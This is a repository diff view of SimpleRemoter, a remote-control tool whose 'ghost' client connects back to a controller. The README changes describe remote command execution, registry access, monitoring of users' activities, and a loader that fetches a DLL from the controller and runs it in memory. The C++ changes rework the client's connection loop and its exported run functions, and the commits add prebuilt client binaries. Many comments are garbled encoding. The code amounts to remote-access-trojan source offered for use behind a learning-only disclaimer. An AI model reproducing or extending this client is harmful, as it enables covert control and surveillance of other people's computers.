Compare commits
24 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
76605f3e1f | ||
|
|
323500dc90 | ||
|
|
ba56029aca | ||
|
|
72d835f257 | ||
|
|
b4bc266ac6 | ||
|
|
ca8ff799ef | ||
|
|
843faf079c | ||
|
|
e9b0be2761 | ||
|
|
93d54d55a7 | ||
|
|
fbd3bcdab6 | ||
|
|
238d6d5bd2 | ||
|
|
c6f70136e1 | ||
|
|
21d533f7fc | ||
|
|
6c4663751a | ||
|
|
fa9f111511 | ||
|
|
72459de00e | ||
|
|
69afaf19c0 | ||
|
|
29a324404f | ||
|
|
db76967a37 | ||
|
|
2d54b0f63d | ||
|
|
9bc2cd4307 | ||
|
|
7a6b57917a | ||
|
|
9475e59887 | ||
|
|
13288b5c4e |
47
ReadMe.md
@@ -7,6 +7,8 @@
|
||||
|
||||
根据本人空闲情况,此项目会不定期更新。若您想对该项目了解更多技术细节,喜欢讨论软件的各方面,学习和交流请通过适当的方式联系。
|
||||
|
||||
此程序仅限于学习和技术交流用途,使用者本人需对自己使用该软件产生的结果进行负责。
|
||||
|
||||
**起始日期**:2019.1.1
|
||||
|
||||
## 主控程序
|
||||
@@ -21,7 +23,7 @@
|
||||
|
||||

|
||||
|
||||
终端管理打开命令行窗口,可以执行远程命令。
|
||||
终端管理打开命令行窗口,可以执行远程命令。有一个[极简版本](./linux/main.cpp),已经支持Linux客户端,供Linux开发者研究使用。
|
||||
|
||||

|
||||
|
||||
@@ -57,12 +59,35 @@
|
||||
|
||||
注册表管理即打开受控机器上面的注册表。
|
||||
|
||||
## Linux 客户端
|
||||
|
||||

|
||||
|
||||
在[v1.0.8](./Releases/v1.0.8/ghost)目录下实现了一个Linux端受控程序,当前只支持远程终端窗口。
|
||||
|
||||

|
||||
|
||||
请在Linux环境编译得到客户端,然后在生成服务端对话框,选择该文件,填写上线地址生成Linux端程序。
|
||||
|
||||
## 关于授权
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
当前对生成服务功能进行了限制,需要取得口令方可操作。给新编译的程序14天试用期,过期之后生成服务端需要申请"序列号";
|
||||
如果要对其他功能乃至整个程序启动授权逻辑,或者屏蔽该授权逻辑,请参考`OnOnlineBuildClient`函数。
|
||||
序列号包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改。
|
||||
|
||||
## 受控程序
|
||||

|
||||
|
||||
受控程序是Client端,分为2种运行形式("类型"):单个程序 **(1)** ghost.exe和 **(2)** TestRun.exe+ServerDll.dll形式。
|
||||
(1)单个程序运行时,不依赖其他动态链接库,而第(2)种情况运行时,由EXE程序调用核心动态链接库。
|
||||
|
||||
注意:自[v1.0.8](https://github.com/yuanyuanxiang/SimpleRemoter/releases/tag/v1.0.0.8)起,
|
||||
`TestRun.exe`将采取内存加载DLL运行方式,向主控程序请求DLL并在内存中执行,这有利于代码的热更新。
|
||||
|
||||
# 更新日志
|
||||
|
||||
2025年以前的变更记录参看:[history](./history.md)
|
||||
@@ -89,6 +114,26 @@ Release v1.0.7, mainly fix or add new feature:
|
||||
- Improve remote control efficiency and support more bitmap compressing method;
|
||||
- Some code reorganization.
|
||||
|
||||
**2025.04.12**
|
||||
|
||||
Since v1.0.7 released in April 5:
|
||||
|
||||
- Improvement: Make sure that the input command is always at the end of `Shelldlg`, and build a **simple Linux client**;
|
||||
- Fix bugs: #62, #74, #75 ;
|
||||
- Change the flag 0x1234567 to a more readable string; and improve building service and allow chosing other files to build;
|
||||
- Showing the user's activities and monitoring specified software;
|
||||
- Clean up global variables and make it easy to create multiple clients in one program, which is useful for testing the master's capacity;
|
||||
- Implement loading DLL in memory, make it easy to update client program;
|
||||
|
||||
**2025.04.21**
|
||||
|
||||
Release v1.0.8:
|
||||
|
||||
- Support to share online host with other masters;
|
||||
- Implement service-generated authorization capability, and add a serial number generation menu;
|
||||
- Add `HPSocket` libraries which may be used in the future, and add static ffmpeg libraries to build Win64 master;
|
||||
- Implement a memory DLL runner: the `TestRun` program request DLL from master and execute in memory.
|
||||
|
||||
# 沟通反馈
|
||||
|
||||
QQ:962914132
|
||||
|
||||
BIN
Releases/v1.0.8/ServerDll.dll
Normal file
BIN
Releases/v1.0.8/TestRun.exe
Normal file
BIN
Releases/v1.0.8/Yama.exe
Normal file
BIN
Releases/v1.0.8/ghost
Normal file
BIN
Releases/v1.0.8/ghost.exe
Normal file
BIN
Releases/v1.0.8/x86/ServerDll.dll
Normal file
BIN
Releases/v1.0.8/x86/TestRun.exe
Normal file
BIN
Releases/v1.0.8/x86/Yama.exe
Normal file
BIN
Releases/v1.0.8/x86/ghost.exe
Normal file
@@ -8,9 +8,6 @@
|
||||
#include <Mmsystem.h>
|
||||
#include <IOSTREAM>
|
||||
|
||||
|
||||
using namespace std;
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
@@ -1,4 +1,7 @@
|
||||
#ifdef _WIN32
|
||||
#include "StdAfx.h"
|
||||
#endif
|
||||
|
||||
#include "Buffer.h"
|
||||
#include <math.h>
|
||||
|
||||
@@ -18,7 +21,7 @@ CBuffer::~CBuffer(void)
|
||||
{
|
||||
if (m_Base)
|
||||
{
|
||||
VirtualFree(m_Base, 0, MEM_RELEASE);
|
||||
MVirtualFree(m_Base, 0, MEM_RELEASE);
|
||||
m_Base = NULL;
|
||||
}
|
||||
|
||||
@@ -67,13 +70,13 @@ VOID CBuffer::DeAllocateBuffer(ULONG ulLength)
|
||||
{
|
||||
return;
|
||||
}
|
||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
if (NewBase == NULL)
|
||||
return;
|
||||
|
||||
CopyMemory(NewBase,m_Base,len);
|
||||
|
||||
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||
MVirtualFree(m_Base,0,MEM_RELEASE);
|
||||
|
||||
m_Base = NewBase;
|
||||
|
||||
@@ -104,7 +107,7 @@ BOOL CBuffer::ReAllocateBuffer(ULONG ulLength)
|
||||
return TRUE;
|
||||
|
||||
ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
if (NewBase == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
@@ -115,7 +118,7 @@ BOOL CBuffer::ReAllocateBuffer(ULONG ulLength)
|
||||
|
||||
if (m_Base)
|
||||
{
|
||||
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||
MVirtualFree(m_Base,0,MEM_RELEASE);
|
||||
}
|
||||
m_Base = NewBase;
|
||||
m_Ptr = m_Base + len;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
#include "../common/commands.h"
|
||||
|
||||
class CBuffer
|
||||
{
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
CSampleGrabberCB mCB;
|
||||
CSampleGrabberCB CCaptureVideo::mCB;
|
||||
|
||||
CCaptureVideo::CCaptureVideo()
|
||||
{
|
||||
|
||||
@@ -199,8 +199,6 @@ public:
|
||||
}
|
||||
};
|
||||
|
||||
extern CSampleGrabberCB mCB;
|
||||
|
||||
class CCaptureVideo
|
||||
{
|
||||
public:
|
||||
@@ -219,6 +217,7 @@ public:
|
||||
|
||||
HWND m_hWnd;
|
||||
|
||||
static CSampleGrabberCB mCB;
|
||||
IGraphBuilder * m_pGB; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> FCDO Filter Control Device Object
|
||||
ICaptureGraphBuilder2* m_pCapture; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> <20><>ʵCDO
|
||||
|
||||
|
||||
@@ -2,38 +2,155 @@
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "Common.h"
|
||||
#include "IOCPClient.h"
|
||||
#include <IOSTREAM>
|
||||
#include "LoginServer.h"
|
||||
#include "KernelManager.h"
|
||||
#include <iosfwd>
|
||||
#include <vector>
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <shellapi.h>
|
||||
#include <corecrt_io.h>
|
||||
using namespace std;
|
||||
#include "ClientDll.h"
|
||||
|
||||
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
||||
#define REG_NAME "a_ghost"
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ŀͻ<C4BF><CDBB>˸<EFBFBD><CBB8><EFBFBD>
|
||||
#define CLIENT_PARALLEL_NUM 1
|
||||
|
||||
// Զ<>̵<EFBFBD>ַ
|
||||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", 6543, CLIENT_TYPE_ONE};
|
||||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL};
|
||||
|
||||
// Ӧ<EFBFBD>ó<EFBFBD><EFBFBD><EFBFBD>״̬<EFBFBD><EFBFBD>1-<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 3-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL g_bExit = 0;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>״̬
|
||||
BOOL g_bThreadExit = 0;
|
||||
// <EFBFBD><EFBFBD><EFBFBD>տͻ<EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><EFBFBD>2<EFBFBD><EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><EFBFBD><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
|
||||
// <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB>һ<EFBFBD><D2BB>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_MyApp
|
||||
ClientApp g_MyApp(&g_SETTINGS, IsClientAppRunning);
|
||||
|
||||
HINSTANCE g_hInstance = NULL;
|
||||
DWORD WINAPI StartClient(LPVOID lParam);
|
||||
enum { E_RUN, E_STOP, E_EXIT } status;
|
||||
|
||||
int ClientApp::m_nCount = 0;
|
||||
|
||||
CLock ClientApp::m_Locker;
|
||||
|
||||
BOOL IsProcessExit() {
|
||||
return g_MyApp.g_bExit == S_CLIENT_EXIT;
|
||||
}
|
||||
|
||||
BOOL IsSharedRunning(void* thisApp) {
|
||||
ClientApp* This = (ClientApp*)thisApp;
|
||||
return (S_CLIENT_NORMAL == g_MyApp.g_bExit) && (S_CLIENT_NORMAL == This->g_bExit);
|
||||
}
|
||||
|
||||
BOOL IsClientAppRunning(void* thisApp) {
|
||||
ClientApp* This = (ClientApp*)thisApp;
|
||||
return S_CLIENT_NORMAL == This->g_bExit;
|
||||
}
|
||||
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared) {
|
||||
auto v = StringToVector(remoteAddr, ':', 2);
|
||||
if (v[0].empty() || v[1].empty())
|
||||
return nullptr;
|
||||
auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
|
||||
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
|
||||
return a;
|
||||
}
|
||||
|
||||
DWORD WINAPI StartClientApp(LPVOID param) {
|
||||
ClientApp::AddCount(1);
|
||||
ClientApp* app = (ClientApp*)param;
|
||||
CONNECT_ADDRESS& settings(*(app->g_Connection));
|
||||
const char* ip = settings.ServerIP();
|
||||
int port = settings.ServerPort();
|
||||
State& bExit(app->g_bExit);
|
||||
if (ip != NULL && port > 0)
|
||||
{
|
||||
settings.SetServer(ip, port);
|
||||
}
|
||||
if (strlen(settings.ServerIP()) == 0 || settings.ServerPort() <= 0) {
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ṩԶ<E1B9A9><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6>!\n");
|
||||
Sleep(3000);
|
||||
} else {
|
||||
app->g_hInstance = GetModuleHandle(NULL);
|
||||
Mprintf("[ClientApp: %d] Total [%d] %s:%d \n", app->m_ID, app->GetCount(), settings.ServerIP(), settings.ServerPort());
|
||||
|
||||
do {
|
||||
bExit = S_CLIENT_NORMAL;
|
||||
HANDLE hThread = CreateThread(NULL, 0, StartClient, app, 0, NULL);
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
if (IsProcessExit()) // process exit
|
||||
break;
|
||||
} while (E_RUN == status && S_CLIENT_EXIT != bExit);
|
||||
}
|
||||
|
||||
auto r = app->m_ID;
|
||||
if (app != &g_MyApp) delete app;
|
||||
ClientApp::AddCount(-1);
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֧<EFBFBD>ֳ<EFBFBD><D6B3><EFBFBD>MAXIMUM_WAIT_OBJECTS<54><53><EFBFBD>ƣ<EFBFBD>
|
||||
* @param handles <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
* @param waitAll <20>Ƿ<EFBFBD><C7B7>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>о<EFBFBD><D0BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɣ<EFBFBD>TRUE=ȫ<><C8AB>, FALSE=<3D><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
|
||||
* @param timeout <20><>ʱʱ<CAB1>䣨<EFBFBD><E4A3A8><EFBFBD>룬INFINITE<54><45>ʾ<EFBFBD><CABE><EFBFBD>ȴ<DEB5><C8B4><EFBFBD>
|
||||
* @return <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>WAIT_OBJECT_0<5F>ɹ<EFBFBD>, WAIT_FAILEDʧ<44>ܣ<EFBFBD>
|
||||
*/
|
||||
DWORD WaitForMultipleHandlesEx(
|
||||
const std::vector<HANDLE>& handles,
|
||||
BOOL waitAll = TRUE,
|
||||
DWORD timeout = INFINITE
|
||||
) {
|
||||
const DWORD MAX_WAIT = MAXIMUM_WAIT_OBJECTS; // ϵͳ<CFB5><CDB3><EFBFBD>ƣ<EFBFBD>64<36><34>
|
||||
DWORD totalHandles = static_cast<DWORD>(handles.size());
|
||||
|
||||
// 1. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7>
|
||||
for (HANDLE h : handles) {
|
||||
if (h == NULL || h == INVALID_HANDLE_VALUE) {
|
||||
SetLastError(ERROR_INVALID_HANDLE);
|
||||
return WAIT_FAILED;
|
||||
}
|
||||
}
|
||||
|
||||
// 2. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>64<36><34>ֱ<EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD>ԭ<EFBFBD><D4AD>API
|
||||
if (totalHandles <= MAX_WAIT) {
|
||||
return WaitForMultipleObjects(totalHandles, handles.data(), waitAll, timeout);
|
||||
}
|
||||
|
||||
// 3. <20><><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4><EFBFBD>
|
||||
if (waitAll) {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>о<EFBFBD><D0BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
|
||||
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
|
||||
DWORD result = WaitForMultipleObjects(
|
||||
batchSize,
|
||||
&handles[i],
|
||||
TRUE, // <20><><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
timeout
|
||||
);
|
||||
if (result == WAIT_FAILED) {
|
||||
return WAIT_FAILED;
|
||||
}
|
||||
}
|
||||
return WAIT_OBJECT_0;
|
||||
}
|
||||
else {
|
||||
// ֻ<><D6BB><EFBFBD>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
while (true) {
|
||||
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
|
||||
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
|
||||
DWORD result = WaitForMultipleObjects(
|
||||
batchSize,
|
||||
&handles[i],
|
||||
FALSE, // <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ɼ<EFBFBD><C9BC><EFBFBD>
|
||||
timeout
|
||||
);
|
||||
if (result != WAIT_FAILED && result != WAIT_TIMEOUT) {
|
||||
return result + i; // <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
}
|
||||
if (timeout != INFINITE) {
|
||||
return WAIT_TIMEOUT;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#if _CONSOLE
|
||||
|
||||
enum { E_RUN, E_STOP } status;
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
void DebugPrivilege()
|
||||
{
|
||||
@@ -98,7 +215,7 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
||||
{
|
||||
if (CtrlType == CTRL_CLOSE_EVENT)
|
||||
{
|
||||
g_bExit = true;
|
||||
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
||||
while (E_RUN == status)
|
||||
Sleep(20);
|
||||
}
|
||||
@@ -122,33 +239,29 @@ int main(int argc, const char *argv[])
|
||||
}
|
||||
|
||||
SetConsoleCtrlHandler(&callback, TRUE);
|
||||
if (argc>=3)
|
||||
{
|
||||
g_SETTINGS.SetServer(argv[1], atoi(argv[2]));
|
||||
}
|
||||
if (strlen(g_SETTINGS.ServerIP())==0|| g_SETTINGS.ServerPort()<=0) {
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ṩԶ<E1B9A9><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6>!\n");
|
||||
Sleep(3000);
|
||||
return -1;
|
||||
}
|
||||
Mprintf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1>ǰģ<C7B0><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD><EFBFBD><EFBFBD>HINSTANCE<43><45>
|
||||
g_hInstance = GetModuleHandle(NULL);
|
||||
if (g_hInstance != NULL) {
|
||||
Mprintf("HINSTANCE: %p\n", g_hInstance);
|
||||
const char* ip = argc > 1 ? argv[1] : NULL;
|
||||
int port = argc > 2 ? atoi(argv[2]) : 0;
|
||||
ClientApp& app(g_MyApp);
|
||||
app.g_Connection->SetType(CLIENT_TYPE_ONE);
|
||||
app.g_Connection->SetServer(ip, port);
|
||||
if (CLIENT_PARALLEL_NUM == 1) {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
StartClientApp(&app);
|
||||
} else {
|
||||
Mprintf("Failed to get HINSTANCE!\n");
|
||||
std::vector<HANDLE> handles(CLIENT_PARALLEL_NUM);
|
||||
for (int i = 0; i < CLIENT_PARALLEL_NUM; i++) {
|
||||
auto client = new ClientApp(app.g_Connection, IsSharedRunning, FALSE);
|
||||
handles[i] = CreateThread(0, 64*1024, StartClientApp, client->SetID(i), 0, 0);
|
||||
if (handles[i] == 0) {
|
||||
Mprintf("<EFBFBD>߳<EFBFBD> %d <20><><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD>: %d\n", i, errno);
|
||||
}
|
||||
}
|
||||
DWORD result = WaitForMultipleHandlesEx(handles, TRUE, INFINITE);
|
||||
if (result == WAIT_FAILED) {
|
||||
Mprintf("WaitForMultipleObjects ʧ<>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
do{
|
||||
g_bExit = 0;
|
||||
HANDLE hThread = CreateThread(NULL,0,StartClient,NULL,0,NULL);
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
}while (E_RUN == status && 1 != g_bExit);
|
||||
|
||||
ClientApp::Wait();
|
||||
status = E_STOP;
|
||||
|
||||
CloseHandle(hMutex);
|
||||
@@ -166,7 +279,7 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||||
case DLL_PROCESS_ATTACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
{
|
||||
g_hInstance = (HINSTANCE)hInstance;
|
||||
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
||||
|
||||
break;
|
||||
}
|
||||
@@ -179,14 +292,15 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ghost
|
||||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||
{
|
||||
g_bExit = FALSE;
|
||||
ClientApp& app(g_MyApp);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
app.g_bExit = S_CLIENT_NORMAL;
|
||||
if (strlen(szServerIP)>0 && uPort>0)
|
||||
{
|
||||
g_SETTINGS.SetServer(szServerIP, uPort);
|
||||
settings.SetServer(szServerIP, uPort);
|
||||
}
|
||||
g_SETTINGS.SetType(CLIENT_TYPE_DLL);
|
||||
|
||||
HANDLE hThread = CreateThread(NULL,0,StartClient,NULL,0,NULL);
|
||||
HANDLE hThread = CreateThread(NULL,0,StartClient, &app,0,NULL);
|
||||
if (hThread == NULL) {
|
||||
return;
|
||||
}
|
||||
@@ -199,13 +313,33 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||
}
|
||||
|
||||
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD>
|
||||
extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
|
||||
extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = S_CLIENT_EXIT; }
|
||||
|
||||
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
||||
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
|
||||
extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit; }
|
||||
|
||||
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; }
|
||||
extern "C" __declspec(dllexport) BOOL IsExit() { return g_MyApp.g_bExit; }
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д˳<D0B4><CBB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>κβ<CEBA><CEB2><EFBFBD>
|
||||
extern "C" __declspec(dllexport) int EasyRun() {
|
||||
ClientApp& app(g_MyApp);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
|
||||
do {
|
||||
TestRun((char*)settings.ServerIP(), settings.ServerPort());
|
||||
while (!IsStoped())
|
||||
Sleep(50);
|
||||
if (S_CLIENT_EXIT == app.g_bExit) // <20>ܿض<DCBF><D8B6>˳<EFBFBD>
|
||||
break;
|
||||
else if (S_SERVER_EXIT == app.g_bExit)
|
||||
continue;
|
||||
else // S_CLIENT_UPDATE: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
break;
|
||||
} while (true);
|
||||
|
||||
return app.g_bExit;
|
||||
}
|
||||
|
||||
// copy from: SimpleRemoter\client\test.cpp
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD>DLL
|
||||
@@ -265,12 +399,15 @@ int nCmdShow:
|
||||
<EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>
|
||||
*/
|
||||
extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
|
||||
ClientApp& app(g_MyApp);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
State& bExit(app.g_bExit);
|
||||
char message[256] = { 0 };
|
||||
if (strlen(lpszCmdLine) != 0) {
|
||||
strcpy_s(message, lpszCmdLine);
|
||||
}else if (g_SETTINGS.IsValid())
|
||||
}else if (settings.IsValid())
|
||||
{
|
||||
sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
|
||||
}
|
||||
|
||||
std::istringstream stream(message);
|
||||
@@ -292,15 +429,15 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz
|
||||
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
|
||||
while (!IsStoped())
|
||||
Sleep(20);
|
||||
if (g_bExit == 1)
|
||||
if (bExit == S_CLIENT_EXIT)
|
||||
return;
|
||||
else if (g_bExit == 2)
|
||||
else if (bExit == S_SERVER_EXIT)
|
||||
continue;
|
||||
else // 3
|
||||
else // S_CLIENT_UPDATE
|
||||
break;
|
||||
} while (true);
|
||||
|
||||
sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
|
||||
RunNewDll(message);
|
||||
}
|
||||
|
||||
@@ -308,36 +445,55 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz
|
||||
|
||||
DWORD WINAPI StartClient(LPVOID lParam)
|
||||
{
|
||||
IOCPClient *ClientObject = new IOCPClient();
|
||||
ClientApp& app(*(ClientApp*)lParam);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
State& bExit(app.g_bExit);
|
||||
IOCPClient *ClientObject = new IOCPClient(bExit);
|
||||
CKernelManager* Manager = nullptr;
|
||||
|
||||
g_bThreadExit = false;
|
||||
while (!g_bExit)
|
||||
if (!app.m_bShared) {
|
||||
if (NULL == app.g_hEvent) {
|
||||
app.g_hEvent = CreateEventA(NULL, TRUE, FALSE, EVENT_FINISHED);
|
||||
}
|
||||
if (app.g_hEvent == NULL) {
|
||||
Mprintf("[StartClient] Failed to create event: %s! %d.\n", EVENT_FINISHED, GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
app.g_bThreadExit = false;
|
||||
while (app.m_bIsRunning(&app))
|
||||
{
|
||||
ULONGLONG dwTickCount = GetTickCount64();
|
||||
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
||||
